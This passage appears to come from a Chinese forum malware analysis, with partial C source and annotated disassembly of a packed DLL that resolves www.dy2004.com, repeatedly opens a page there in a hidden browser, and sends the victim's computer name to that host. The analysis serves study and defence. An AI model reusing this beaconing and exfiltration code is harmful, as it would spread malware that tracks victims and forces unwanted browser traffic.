if(KeyC[Index]==0x2C)KeyC[Index]=0;
Index++;
}
Index=0;
while(KeyD[Index])
{
if(KeyD[Index]==0x7C)
{
KeyD[Index]=0;
Index++;
}
else
{
if(KeyD[Index]==0x2C)
{
KeyD[Index]=0;
Index++;
}
else Index++;
}
}
}
unsigned long int ThreadProcA(LPVOID AA)
{
unsigned long a;
a&=0;
char *HostName="www.dy2004.com";
hostent Host=0;
DWORD Version;
WSADATA Wsadata;
int Error;
Version=MAKEWORD(2,2);
Error=WSAStartup(Version,&Wsadata);
while(Host==0)
{
Host=(hostent)gethostbyname(HostName);
Sleep(500);
}
return 0;
}
unsigned long int ThreadProc(LPVOID A)
{
HANDLE H=CreateEvent(NULL,TRUE,FALSE,"4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B");
if(H!=0&&GetLastError()!=ERROR_ALREADY_EXISTS)
{
unsigned long PartA =0;
Encrypt();
PartA=0xFFFFFFFF;
CreateThread(0,0,ThreadProcA,0,0,0);
}
ExitThread(0);
return 0;
}
代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:代码2:
UPX0:10003E29 ; int __stdcall sub_10003E29(char *)
UPX0:10003E29 sub_10003E29 proc near ; CODE XREF: sub_10003F33+EDp
UPX0:10003E29
UPX0:10003E29 var_150 = dword ptr -150h
UPX0:10003E29 var_14C = dword ptr -14Ch
UPX0:10003E29 var_148 = dword ptr -148h
UPX0:10003E29 var_140 = dword ptr -140h
UPX0:10003E29 var_13C = dword ptr -13Ch
UPX0:10003E29 var_138 = dword ptr -138h
UPX0:10003E29 var_130 = dword ptr -130h
UPX0:10003E29 hObject = dword ptr -114h
UPX0:10003E29 Dst = byte ptr -110h
UPX0:10003E29 var_10D = byte ptr -10Dh
UPX0:10003E29 var_4 = dword ptr -4
UPX0:10003E29 arg_0 = dword ptr 8
UPX0:10003E29
UPX0:10003E29 DownloadFile:
UPX0:10003E29 push ebp
UPX0:10003E2A mov ebp, esp
UPX0:10003E2C sub esp, 150h
UPX0:10003E32 push 260 ; 初始化大小
UPX0:10003E37 push 0 ; 初始化设置的字符
UPX0:10003E39 lea eax, [ebp+Dst]
UPX0:10003E3F push eax ; 初始化地址的启始偏移
UPX0:10003E40 call memset
UPX0:10003E45 add esp, 0Ch
UPX0:10003E48 push 260 ; 接收路径缓冲区的最大字符
UPX0:10003E4D lea eax, [ebp+Dst]
UPX0:10003E53 push eax ; 接收系统目录的路径的缓冲区
UPX0:10003E54 call GetWindowsDirectoryA
UPX0:10003E5A push 257 ; 准备初始化的大小
UPX0:10003E5F push 0 ; 设置的字符
UPX0:10003E61 lea eax, [ebp-10Dh]
UPX0:10003E67 push eax ; 初始化的起始偏移
UPX0:10003E68 call memset
UPX0:10003E6D add esp, 0Ch
UPX0:10003E70 push offset aProgramFilesIn ; "Program Files\\Internet Explorer\\iexplor"...
UPX0:10003E75 lea eax, [ebp+Dst]
UPX0:10003E7B push eax ; 系统路径的缓冲区,上面的路径接上系统路径的缓冲区得到全路径
UPX0:10003E7C call lstrcat
UPX0:10003E82 push 60 ; 想要初始化的大小
UPX0:10003E84 push 0 ; 初始化设置用的字符
UPX0:10003E86 lea eax, [ebp-14Ch] ; SHELLEXECUTEINFO 结构
UPX0:10003E8C push eax ; 初始化的起始偏移地址
UPX0:10003E8D call memset
UPX0:10003E92 add esp, 0Ch
UPX0:10003E95 mov dword ptr [ebp-14Ch], 3Ch
UPX0:10003E9F mov dword ptr [ebp-148h], 64
UPX0:10003EA9 lea eax, [ebp-110h]
UPX0:10003EAF mov [ebp-13Ch], eax
UPX0:10003EB5 mov eax, [ebp+8] ; 参数一 http://www.dy2004.com/msn/mm.htm
UPX0:10003EB8 mov [ebp-138h], eax
UPX0:10003EBE and dword ptr [ebp-130h], 0
UPX0:10003EC5 mov dword ptr [ebp-140h], offset Operation ; "open"
UPX0:10003ECF lea eax, [ebp-14Ch] ; SHELLEXECUTEINFO 结构
UPX0:10003ED5 push eax
UPX0:10003ED6 call ShellExecuteEx
UPX0:10003EDC mov [ebp-4], eax ; 函数的返回值放到局部变量里面
UPX0:10003EDF cmp dword ptr [ebp-4], 1 ; 比较是否为1,0表示失败
UPX0:10003EE3 jnz short loc_10003F2B ; 不等于1就返回,这里好像有错误
UPX0:10003EE5 and dword ptr [ebp-150h], 0 ; 这个地址被赋值为0,这里是返回条件的位置
UPX0:10003EEC jmp short loc_10003EFB
UPX0:10003EEE ; ---------------------------------------------------------------------------
UPX0:10003EEE
UPX0:10003EEE loc_10003EEE: ; CODE XREF: DownloadFile+E6j
UPX0:10003EEE mov eax, [ebp-150h] ; 取出这个地方的值到EAX里面
UPX0:10003EF4 inc eax ; EAX在加上1
UPX0:10003EF5 mov [ebp-150h], eax ; EAX再在放入这个地方
UPX0:10003EFB
UPX0:10003EFB loc_10003EFB: ; CODE XREF: DownloadFile+C3j
UPX0:10003EFB cmp dword ptr [ebp-150h], 30 ; 比较这个地方是否为0
UPX0:10003F02 jge short loc_10003F11 ; 大于或等于就向下跳,否者延时1000毫秒
UPX0:10003F04 push 1000
UPX0:10003F09 call Sleep ; 延时
UPX0:10003F0F jmp short loc_10003EEE ; 向上跳转
UPX0:10003F11 ; ---------------------------------------------------------------------------
UPX0:10003F11
UPX0:10003F11 loc_10003F11: ; CODE XREF: DownloadFile+D9j
UPX0:10003F11 push 0 ; uExitCode
UPX0:10003F13 push [ebp+hObject] ; hProcess
UPX0:10003F19 call TerminateProcess ; 结束进程
UPX0:10003F1F push [ebp+hObject] ; hObject
UPX0:10003F25 call CloseHandle ; 关闭进程句柄
UPX0:10003F2B
UPX0:10003F2B loc_10003F2B: ; CODE XREF: DownloadFile+BAj
UPX0:10003F2B xor eax, eax
UPX0:10003F2D leave
UPX0:10003F2E retn 4
UPX0:10003F2E sub_10003E29 endp ; sp-analysis failed
UPX0:10003F2E
UPX0:10003F2E ; ---------------------------------------------------------------------------
UPX0:10003F31 db 2 dup(0CCh)
UPX0:10003F33
UPX0:10003F33 ; =============== S U B R O U T I N E =======================================
UPX0:10003F33
UPX0:10003F33 ; Attributes: bp-based frame
UPX0:10003F33
UPX0:10003F33 ; DWORD __stdcall sub_10003F33(LPVOID)
UPX0:10003F33 sub_10003F33 proc near ; DATA XREF: sub_1000332A+7Fo
UPX0:10003F33
UPX0:10003F33 Str = dword ptr -7BCh
UPX0:10003F33 Dst = byte ptr -7B8h
UPX0:10003F33 var_6B4 = dword ptr -6B4h
UPX0:10003F33 buf = byte ptr -6B0h
UPX0:10003F33 s = dword ptr -2B0h
UPX0:10003F33 var_2AC = dword ptr -2ACh
UPX0:10003F33 Buffer = byte ptr -2A8h
UPX0:10003F33 nSize = dword ptr -1A4h
UPX0:10003F33 WSAData = WSAData ptr -1A0h
UPX0:10003F33 name = sockaddr ptr -10h
UPX0:10003F33
UPX0:10003F33 push ebp
UPX0:10003F34 mov ebp, esp
UPX0:10003F36 sub esp, 7BCh
UPX0:10003F3C and dword ptr [ebp-6B4h], 0 ; 这个地址的数据初始化为0
UPX0:10003F43 or [ebp+s], 0FFFFFFFFh
UPX0:10003F4A lea eax, [ebp+WSAData]
UPX0:10003F50 push eax ; 接收相关信息
UPX0:10003F51 push 202h ; 网络套接字版本
UPX0:10003F56 call WSAStartup ; 初始化套接字
UPX0:10003F5C
UPX0:10003F5C loc_10003F5C: ; CODE XREF: sub_10003F33+4Fj
UPX0:10003F5C cmp dword ptr [ebp-6B4h], 0 ; 比较主机名称是否为0
UPX0:10003F63 jnz short loc_10003F84 ; 不等于0就执行下面
UPX0:10003F65 push name ; name
UPX0:10003F6B call gethostbyname ; 获得主机名
UPX0:10003F71 mov [ebp-6B4h], eax ; 返回主机名,比如GetHostName("www.example.com")返回example.com
UPX0:10003F77 push 500 ; dwMilliseconds
UPX0:10003F7C call Sleep ; 延时500毫秒
UPX0:10003F82 jmp short loc_10003F5C
UPX0:10003F84 ; ---------------------------------------------------------------------------
UPX0:10003F84
UPX0:10003F84 loc_10003F84: ; CODE XREF: sub_10003F33+30j
UPX0:10003F84 mov eax, off_10008514 ; 字符串/msn/mm.htm的地址放到EAX里面
UPX0:10003F89 mov [ebp+Str], eax
UPX0:10003F8F push '.' ; 要设置的字符串
UPX0:10003F91 push [ebp+Str] ; 被设置的字符串
UPX0:10003F97 call strrchr ; 连接字符串,字符串最后面设置一个。
UPX0:10003F9D pop ecx
UPX0:10003F9E pop ecx
UPX0:10003F9F mov [ebp-2ACh], eax ; EAX指向的地址放到这个地址里面
UPX0:10003FA5 cmp dword ptr [ebp-2ACh], 0 ; 比较这个地址是否为NULL
UPX0:10003FAC jnz short loc_10003FBB ; 这个地址不为NULL就跳,不然停止套接字
UPX0:10003FAE call WSACleanup ; 关闭套接字
UPX0:10003FB4 xor eax, eax
UPX0:10003FB6 jmp locret_1000415A
UPX0:10003FBB ; ---------------------------------------------------------------------------
UPX0:10003FBB
UPX0:10003FBB loc_10003FBB: ; CODE XREF: sub_10003F33+79j
UPX0:10003FBB mov eax, [ebp-2ACh] ; 取出这个位置指向的地址到EAX里面
UPX0:10003FC1 inc eax ; EAX加1,指向这个位置的下个数据
UPX0:10003FC2 mov [ebp-2ACh], eax ; EAX的值在放回这个地址里面
UPX0:10003FC8 push offset aAsp ; 字符串2
UPX0:10003FCD push dword ptr [ebp-2ACh] ; 字符串1
UPX0:10003FD3 call lstrcmpi ; 比较它们是否一样
UPX0:10003FD9 test eax, eax ; 一样的话就下跳创建一个套接字
UPX0:10003FDB jz short loc_1000403F
UPX0:10003FDD push 256 ; 初始化大小
UPX0:10003FE2 push 0 ; 初始化设置的字符
UPX0:10003FE4 lea eax, [ebp+Dst]
UPX0:10003FEA push eax ; 被初始化地址
UPX0:10003FEB call memset ; 初始化现在这个地方Dst指针指向的地方大小256字节
UPX0:10003FF0 add esp, 0Ch
UPX0:10003FF3 push off_10008514 ; /msn/mm.htm 字符串的偏移地址
UPX0:10003FF9 push name ; www.dy2004.com 这个网站的偏移地址
UPX0:10003FFF push offset aHttpSS ; http://%s%s的偏移地址
UPX0:10004004 lea eax, [ebp+Dst] ; 上面被初始化的地址,现在把这3个连接起来
UPX0:1000400A push eax
UPX0:1000400B call wsprintfA
UPX0:10004011 add esp, 10h
UPX0:10004014
UPX0:10004014 loc_10004014: ; CODE XREF: sub_10003F33+FDj
UPX0:10004014 xor eax, eax ; EAX清零
UPX0:10004016 inc eax ; EAX加上1
UPX0:10004017 jz short loc_10004032 ; EAX为0就跳转,关闭套接字
UPX0:10004019 lea eax, [ebp+Dst] ; 装入这个http://www.dy2004.com/msn/mm.htm的偏移地址
UPX0:1000401F push eax ; 偏移地址为参数一,参数是个数组
UPX0:10004020 call sub_10003E29 这函数分析看下idb文件里面
UPX0:10004025 push 120000 ; 延时的毫秒数
UPX0:1000402A call Sleep ; 启动延时
UPX0:10004030 jmp short loc_10004014
UPX0:10004032 ; ---------------------------------------------------------------------------
UPX0:10004032
UPX0:10004032 loc_10004032: ; CODE XREF: sub_10003F33+E4j
UPX0:10004032 call WSACleanup ; 关闭套接字
UPX0:10004038 xor eax, eax
UPX0:1000403A jmp locret_1000415A
UPX0:1000403F ; ---------------------------------------------------------------------------
UPX0:1000403F
UPX0:1000403F loc_1000403F: ; CODE XREF: sub_10003F33+A8j
UPX0:1000403F push 6 ; 使用家族地址的协议
UPX0:10004041 push 1 ; 制定套接字类型
UPX0:10004043 push 2 ; 家族地址
UPX0:10004045 call socket ; 创建套接字
UPX0:1000404B mov [ebp+s], eax ; 返回值放入这个地址
UPX0:10004051 cmp [ebp+s], 0FFFFFFFFh ; 比较返回值是否为-1,不是就跳,否者返回
UPX0:10004058 jnz short loc_10004061
UPX0:1000405A xor eax, eax
UPX0:1000405C jmp locret_1000415A
UPX0:10004061 ; ---------------------------------------------------------------------------
UPX0:10004061
UPX0:10004061 loc_10004061: ; CODE XREF: sub_10003F33+125j
UPX0:10004061 push 10h ; 准备初始化的大小
UPX0:10004063 push 0 ; 设置用的字符
UPX0:10004065 lea eax, [ebp+name]
UPX0:10004068 push eax ; 初始化地址的起始偏移地址
UPX0:10004069 call memset
UPX0:1000406E add esp, 0Ch
UPX0:10004071 push 2
UPX0:10004073 pop eax
UPX0:10004074 mov [ebp+name.sa_family], ax
UPX0:10004078 mov eax, [ebp+var_6B4]
UPX0:1000407E mov eax, [eax+0Ch]
UPX0:10004081 mov eax, [eax]
UPX0:10004083 mov eax, [eax]
UPX0:10004085 mov dword ptr [ebp+name.sa_data+2], eax
UPX0:10004088 push 50h ; hostshort
UPX0:1000408A call htons
UPX0:10004090 mov word ptr [ebp+name.sa_data], ax
UPX0:10004094 push 10h ; namelen
UPX0:10004096 lea eax, [ebp+name]
UPX0:10004099 push eax ; name
UPX0:1000409A push [ebp+s] ; s
UPX0:100040A0 call connect ; 建立连接
UPX0:100040A6 test eax, eax
UPX0:100040A8 jz short loc_100040B1
UPX0:100040AA xor eax, eax
UPX0:100040AC jmp locret_1000415A
UPX0:100040B1 ; ---------------------------------------------------------------------------
UPX0:100040B1
UPX0:100040B1 loc_100040B1: ; CODE XREF: sub_10003F33+175j
UPX0:100040B1 push 100h ; 初始化的大小
UPX0:100040B6 push 0 ; 设置的字符
UPX0:100040B8 lea eax, [ebp+Buffer]
UPX0:100040BE push eax ; 被初始化的起始偏移地址
UPX0:100040BF call memset
UPX0:100040C4 add esp, 0Ch
UPX0:100040C7 mov [ebp+nSize], 100h
UPX0:100040D1 lea eax, [ebp+nSize]
UPX0:100040D7 push eax ; 缓冲区大小
UPX0:100040D8 lea eax, [ebp+Buffer]
UPX0:100040DE push eax ; 缓冲区
UPX0:100040DF call GetComputerNameA ; 获得计算机名称
UPX0:100040E5 push 400h ; 初始化的大小
UPX0:100040EA push 0 ; 设置的字符
UPX0:100040EC lea eax, [ebp+buf]
UPX0:100040F2 push eax ; 起始的偏移地址
UPX0:100040F3 call memset
UPX0:100040F8 add esp, 0Ch
UPX0:100040FB push name
UPX0:10004101 lea eax, [ebp+Buffer]
UPX0:10004107 push eax
UPX0:10004108 push off_10008514
UPX0:1000410E push offset aGetS?nameSHttp ; "GET %s?name=%s HTTP/1.1\r\nUser-Agent: Mo"...
UPX0:10004113 lea eax, [ebp+buf]
UPX0:10004119 push eax ; LPSTR
UPX0:1000411A call wsprintfA ; 把上面的信息格式化为一整个字符串
UPX0:10004120 add esp, 14h
UPX0:10004123 push 0 ; flags
UPX0:10004125 lea eax, [ebp+buf]
UPX0:1000412B push eax
UPX0:1000412C call lstrlen ; 测试上面字符串的长度
UPX0:10004132 push eax ; len
UPX0:10004133 lea eax, [ebp+buf]
UPX0:10004139 push eax ; buf
UPX0:1000413A push [ebp+s] ; s
UPX0:10004140 call send ; 发送数据
UPX0:10004146 push [ebp+s] ; s
UPX0:1000414C call closesocket ; 关闭连接
UPX0:10004152 call WSACleanup ; 关闭套接字
UPX0:10004158 xor eax, eax
UPX0:1000415A
UPX0:1000415A locret_1000415A: ; CODE XREF: sub_10003F33+83j
UPX0:1000415A ; sub_10003F33+107j ...
UPX0:1000415A leave
UPX0:1000415B retn 4
UPX0:1000415B sub_10003F33 endp
|
-
-
样本分析.zip
398.58 KB, 下载次数: 41, 下载积分: 吾爱币 -1 CB
免费评分
-
查看全部评分
|